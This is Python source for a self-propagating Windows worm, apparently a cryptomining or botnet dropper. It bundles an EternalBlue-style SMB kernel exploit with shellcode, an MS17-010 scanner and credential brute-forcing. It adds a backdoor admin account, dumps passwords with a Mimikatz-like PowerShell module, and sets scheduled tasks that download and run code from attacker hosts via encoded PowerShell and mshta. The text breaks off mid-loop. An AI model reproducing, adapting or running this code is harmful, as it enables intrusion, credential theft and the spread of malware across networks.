scode = '31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc951acf958ec4dfab647edc01164f7b46b140ca419114863f16bc101f5d25c5c2f1b8b3dbd8014ee5e693b95d449b62670f818a342946b57930fb4f3e0a5fda86c5cad79518f30e1f5e9dc8c81d54c210977e1dabf188c5460860af90926ba72bec45d00515bedc8c6a3793b7df4565a1990a8'
sc = binascii.unhexlify(scode)
NTFEA_SIZE = 69632
ntfea10000 = pack('<BBH', 0, 0, 65501) + 'A' * 65502
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00') * 600
ntfea11000 += pack('<BBH', 0, 0, 62397) + 'A' * 62398
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00') * 9364
ntfea1f000 += pack('<BBH', 0, 0, 18669) + 'A' * 18670
ntfea = {65536: ntfea10000, 69632: ntfea11000}
TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904L
TARGET_HAL_HEAP_ADDR_x86 = 4292866048L
fakeSrvNetBufferNsa = pack('<II', 69632, 0) * 2
fakeSrvNetBufferNsa += pack('<HHI', 65535, 0, 0) * 2
fakeSrvNetBufferNsa += '\x00' * 16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 32)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 96, 4100, 0)
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 - 128, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
fakeSrvNetBufferNsa += pack('<QHHI', 0, 96, 4100, 0)
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
fakeSrvNetBufferX64 = pack('<II', 69632, 0) * 2
fakeSrvNetBufferX64 += pack('<HHIQ', 65535, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00' * 16
fakeSrvNetBufferX64 += '\x00' * 16
fakeSrvNetBufferX64 += '\x00' * 16
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
fakeSrvNetBufferX64 += pack('<QHHI', 0, 96, 4100, 0)
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
fakeSrvNetBuffer = fakeSrvNetBufferNsa
feaList = pack('<I', 65536)
feaList += ntfea[NTFEA_SIZE]
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer) - 1) + fakeSrvNetBuffer
feaList += pack('<BBH', 18, 52, 22136)
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00' * 16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00' * 16 * 7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 160, TARGET_HAL_HEAP_ADDR_x64 + 160)
fake_recv_struct += '\x00' * 16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 + 192, TARGET_HAL_HEAP_ADDR_x86 + 192, 0)
fake_recv_struct += '\x00' * 16 * 11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 400)
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86 + 496 - 1, 0)
fake_recv_struct += '\x00' * 16 * 3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 480)
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 496 - 1)
def getNTStatus(self):
return self['ErrorCode'] << 16 | self['_reserved'] << 8 | self['ErrorClass']
setattr(smb.NewSMBPacket, 'getNTStatus', getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print 'got good ECHO response'
else:
print ('got bad ECHO response: 0x{:x}').format(recvPkt.getNTStatus())
def createSessionAllocNonPaged(target, size):
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
if size >= 65535:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 2
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
sessionSetup['Data'] = pack('<H', reqSize) + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print 'SMB1 session setup allocate nonpaged pool success'
else:
print 'SMB1 session setup allocate nonpaged pool failed'
return conn
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount', '<H=0'), ('TotalDataCount', '<H'), ('ParameterCount', '<H=0'), ('ParameterOffset', '<H=0'), ('ParameterDisplacement', '<H=0'), ('DataCount', '<H'), ('DataOffset', '<H'), ('DataDisplacement', '<H=0'), ('FID', '<H=0'))
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 53
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xff' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 73 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4) % 4
padBytes = '\xff' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xff' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB()
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i + sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
def createConnectionWithBigSMBFirst80(target):
sk = socket.create_connection((target, 445))
pkt = '\x00\x00' + pack('>H', 65527)
pkt += 'BAAD'
pkt += '\x00' * 124
sk.send(pkt)
return sk
lock2 = threading.Lock()
def exploit2(target, shellcode, numGroomConn):
global lock2
lock2.acquire()
conn = smb.SMB(target, target)
conn.login_standard('', '')
server_os = conn.get_server_os()
print 'Target OS: ' + server_os
if not (server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server ') and ' 2008 ' in server_os or server_os.startswith('Windows Vista')):
print 'This exploit does not support this target'
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, 2000, False)
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
allocConn.get_socket().close()
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn.get_socket().close()
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 3221225485L:
print 'good response status: INVALID_PARAMETER'
else:
print ('bad response status: 0x{:08x}').format(retStatus)
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
for sk in srvnetConn:
sk.close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
time.sleep(2)
lock2.release()
lock3 = threading.Lock()
def exploit3(target, shellcode, numGroomConn1):
global lock3
lock3.acquire()
conn3 = smb.SMB(target, target)
conn3.login_standard('', '')
server_os3 = conn3.get_server_os()
print 'Target OS: ' + server_os3
if not (server_os3.startswith('Windows 7 ') or server_os3.startswith('Windows Server ') and ' 2008 ' in server_os3 or server_os3.startswith('Windows Vista')):
print 'This exploit does not support this target'
tid3 = conn3.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
progress3 = send_big_trans2(conn3, tid3, 0, feaList, '\x00' * 30, 2000, False)
allocConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
srvnetConn3 = []
for i in range(numGroomConn1):
sk3 = createConnectionWithBigSMBFirst80(target)
srvnetConn3.append(sk3)
holeConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
allocConn3.get_socket().close()
for i in range(5):
sk3 = createConnectionWithBigSMBFirst80(target)
srvnetConn3.append(sk3)
holeConn3.get_socket().close()
send_trans2_second(conn3, tid3, feaList[progress3:], progress3)
recvPkt3 = conn3.recvSMB()
retStatus3 = recvPkt3.getNTStatus()
if retStatus3 == 3221225485L:
print 'good response status: INVALID_PARAMETER'
else:
print ('bad response status: 0x{:08x}').format(retStatus3)
for sk3 in srvnetConn3:
sk3.send(fake_recv_struct + shellcode)
for sk3 in srvnetConn3:
sk3.close()
conn3.disconnect_tree(tid3)
conn3.logoff()
conn3.get_socket().close()
time.sleep(2)
lock3.release()
NEGOTIATE_PROTOCOL_REQUEST = binascii.unhexlify('00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200')
SESSION_SETUP_REQUEST = binascii.unhexlify('00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000')
TREE_CONNECT_REQUEST = binascii.unhexlify('00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00')
NAMED_PIPE_TRANS_REQUEST = binascii.unhexlify('0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00')
timeout = 1
verbose = 0
threads_num = 255
if 'Windows-XP' in platform.platform():
timeout = 1
threads_num = 2
semaphore1 = threading.BoundedSemaphore(value=2)
semaphore = threading.BoundedSemaphore(value=2)
semaphore2 = threading.BoundedSemaphore(value=2)
else:
semaphore1 = threading.BoundedSemaphore(value=255)
semaphore = threading.BoundedSemaphore(value=threads_num)
semaphore2 = threading.BoundedSemaphore(value=100)
print_lock = threading.Lock()
def print_status(ip, message):
global print_lock
with print_lock:
print '[*] [%s] %s' % (ip, message)
def check_ip(ip, tg):
global verbose
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(timeout) if timeout else None)
host = ip
port = 445
s.connect((host, port))
if verbose:
print_status(ip, 'Sending negotiation protocol request')
s.send(NEGOTIATE_PROTOCOL_REQUEST)
negotiate_reply = s.recv(1024)
if len(negotiate_reply) < 36 or struct.unpack('<I', negotiate_reply[9:13])[0] != 0:
with print_lock:
print "[-] [%s] can't determine whether it's vulunerable" % ip
return
if verbose:
print_status(ip, 'Sending session setup request')
s.send(SESSION_SETUP_REQUEST)
session_setup_response = s.recv(1024)
user_id = session_setup_response[32:34]
if verbose:
print_st(ip, 'User ID = %s' % struct.unpack('<H', user_id)[0])
os = ''
word_count = ord(session_setup_response[36])
if word_count != 0:
byte_count = struct.unpack('<H', session_setup_response[43:45])[0]
if len(session_setup_response) != byte_count + 45:
print_status('invalid session setup AndX response')
else:
for i in range(46, len(session_setup_response) - 1):
if ord(session_setup_response[i]) == 0 and ord(session_setup_response[i + 1]) == 0:
os = session_setup_response[46:i].decode('utf-8')[::2]
break
modified_tree_connect_request = list(TREE_CONNECT_REQUEST)
modified_tree_connect_request[32] = user_id[0]
modified_tree_connect_request[33] = user_id[1]
modified_tree_connect_request = ('').join(modified_tree_connect_request)
if verbose:
print_status(ip, 'Sending tree connect')
s.send(modified_tree_connect_request)
tree_connect_response = s.recv(1024)
tree_id = tree_connect_response[28:30]
if verbose:
print_status(ip, 'Tree ID = %s' % struct.unpack('<H', tree_id)[0])
modified_trans2_session_setup = list(NAMED_PIPE_TRANS_REQUEST)
modified_trans2_session_setup[28] = tree_id[0]
modified_trans2_session_setup[29] = tree_id[1]
modified_trans2_session_setup[32] = user_id[0]
modified_trans2_session_setup[33] = user_id[1]
modified_trans2_session_setup = ('').join(modified_trans2_session_setup)
if verbose:
print_status(ip, 'Sending named pipe')
s.send(modified_trans2_session_setup)
final_response = s.recv(1024)
if final_response[9] == '\x05' and final_response[10] == '\x02' and final_response[11] == '\x00' and final_response[12] == '\xc0':
print '[+] [%s](%s) got it!' % (ip, os)
if 'Windows 7' in os:
if scan(ip, 65533) == 0:
print '[+] exploit...' + ip + ' win7'
try:
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user'
try:
exploit2(ip, sc, int(random.randint(5, 13)))
try:
print 'exp again '
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user2'
lock2.release()
except:
print '[*] maybe crash'
time.sleep(6)
try:
print 'exp again '
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user3'
lock2.release()
elif 'Windows Server 2008' in os:
if scan(ip, 65533) == 0:
print '[+] exploit...' + ip + ' win2k8'
try:
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user'
try:
exploit3(ip, sc, int(random.randint(5, 13)))
try:
print 'exp again '
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user 2'
lock3.release()
except:
print '[*] maybe crash'
time.sleep(6)
try:
print 'exp again '
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
except:
print 'no user 3'
lock3.release()
if 'Windows 5.1' in os:
if scan(ip, 65533) == 0:
print '[+] exploit...' + ip + ' xp'
try:
exploit(ip, None, '', '', tg)
except:
print 'not succ'
elif 'Windows Server 2003' in os:
if scan(ip, 65533) == 0:
print '[+] exploit...' + ip + ' win2k3'
try:
exploit(ip, None, '', '', tg)
except:
print 'not succ'
elif scan(ip, 65533) == 0:
print '[+] exploit...' + ip + ' *************************other os'
for u in userlist:
for p in passlist:
if u == '' and p != '':
continue
try:
exploit(ip, None, u, p, tg)
except:
print 'exp not succ!'
else:
print '[-] [%s](%s) stays in safety' % (ip, os)
s.close()
def check_thread(ip_address):
global semaphore
try:
try:
check_ip(ip_address, tg=1)
except Exception as e:
with print_lock:
tmp = 2
finally:
semaphore.release()
def check_thread2(ip_address):
try:
try:
check_ip(ip_address, tg=2)
except Exception as e:
with print_lock:
tmp = 2
finally:
semaphore.release()
one = 1
try:
h_one = socket.socket()
addr = ('', 60124)
h_one.bind(addr)
one = 1
except:
one = 2
if one == 2:
print 'alredy run eb'
sys.exit()
usr = subprocess.Popen('cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445', stdout=subprocess.PIPE)
dusr = usr.stdout.read()
if 'k8h3d' in dusr:
usr = subprocess.Popen('cmd /c net user k8h3d /del', stdout=subprocess.PIPE)
dl = ''
ee2 = ''
if os.path.exists('c:/windows/system32/svhost.exe'):
dl = 'c:\\windows\\system32\\svhost.exe'
if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
dl = 'c:\\windows\\SysWOW64\\svhost.exe'
if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
dl = 'c:\\windows\\system32\\drivers\\svchost.exe'
if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
dl = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
if os.path.exists('c:/windows/temp/svvhost.exe'):
ee2 = 'c:\\windows\\temp\\svvhost.exe'
if os.path.exists('c:/windows/temp/svchost.exe'):
ee2 = 'c:\\windows\\temp\\svchost.exe'
if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
usr0 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\\Windows\\temp\\svchost.exe" /F', stdout=subprocess.PIPE)
usr1 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F', stdout=subprocess.PIPE)
def mmka():
global domainlist
global passlist
global userlist2
if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
if os.path.exists('c:/windows/temp/m.ps1'):
if os.path.exists('c:/windows/temp/mkatz.ini'):
print 'mkatz.ini exist'
mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
mnow = int(time.time())
if (mnow - mtime) / 60 / 60 < 24:
musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
else:
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os.environ:
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
else:
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
musr = usr.stdout.read()
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
fmk.write(musr)
fmk.close()
else:
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os.environ:
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
else:
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
musr = usr.stdout.read()
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
fmk.write(musr)
fmk.close()
else:
fm = open('c:\\windows\\temp\\m.ps1', 'w')
fm.write(mkatz)
fm.close()
if os.path.exists('c:/windows/temp/mkatz.ini'):
print 'mkatz.ini exist'
mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
mnow = int(time.time())
if (mnow - mtime) / 60 / 60 < 24:
print 'reload mimi'
musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
else:
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os.environ:
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
else:
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
musr = usr.stdout.read()
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
fmk.write(musr)
fmk.close()
else:
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os.environ:
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
else:
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
musr = usr.stdout.read()
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
fmk.write(musr)
fmk.close()
else:
usr3 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck)', stdout=subprocess.PIPE)
usr4 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "C:\\Windows\\temp\\svchost.exe"&schtasks /run /TN Autoscan)', stdout=subprocess.PIPE)
print 'mimi over'
usern = ''
lmhash = ''
nthash = ''
tspkg = ''
wdigest = ''
kerberos = ''
domain = ''
usernull = ''
try:
dousr = subprocess.Popen('cmd /c wmic ntdomain get domainname', stdout=subprocess.PIPE)
domianusr = dousr.stdout.read()
dousr = subprocess.Popen('cmd /c net user', stdout=subprocess.PIPE)
luser = dousr.stdout.read().split('\r\n')[:-3]
for c in luser:
if '-' in c:
continue
for j in c.split(' '):
if '' == j:
continue
if 'Guest' == j:
continue
userlist2.append(j.strip())
if '* LM' in musr:
mmlist = musr.split('* LM')
del mmlist[0]
for i in mmlist:
domaint = i.split('Domain :')[1].split('\n')[0].strip()
if domaint in domianusr:
domainlist.append(domaint)
for ii in i.split('Authentication')[0].split('Username :')[1:]:
unt = ii.split('\n')[0].strip()
userlist2.append(unt)
for ii in i.split('Authentication')[0].split('Password :')[1:]:
pwdt = ii.split('\n')[0].strip()
if pwdt != '(null)':
passlist.append(pwdt)
passlist = list(set(passlist))
userlist2 = list(set(userlist2))
domainlist = list(set(domainlist))
else:
print 'nobody logon'
if '* NTLM' in musr:
mmlist = musr.split('* NTLM')
del mmlist[0]
for i in mmlist:
NThash = i.split(':')[1].split('\n')[0].strip()
ntlist.append(NThash)
except:
print 'except'
mmka()
var = 1
while var == 1:
print 'start scan'
if '.exe' in dl:
for network in find_ip():
print network
ip, cidr = network.split('/')
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0]
start = i >> host_bits << host_bits
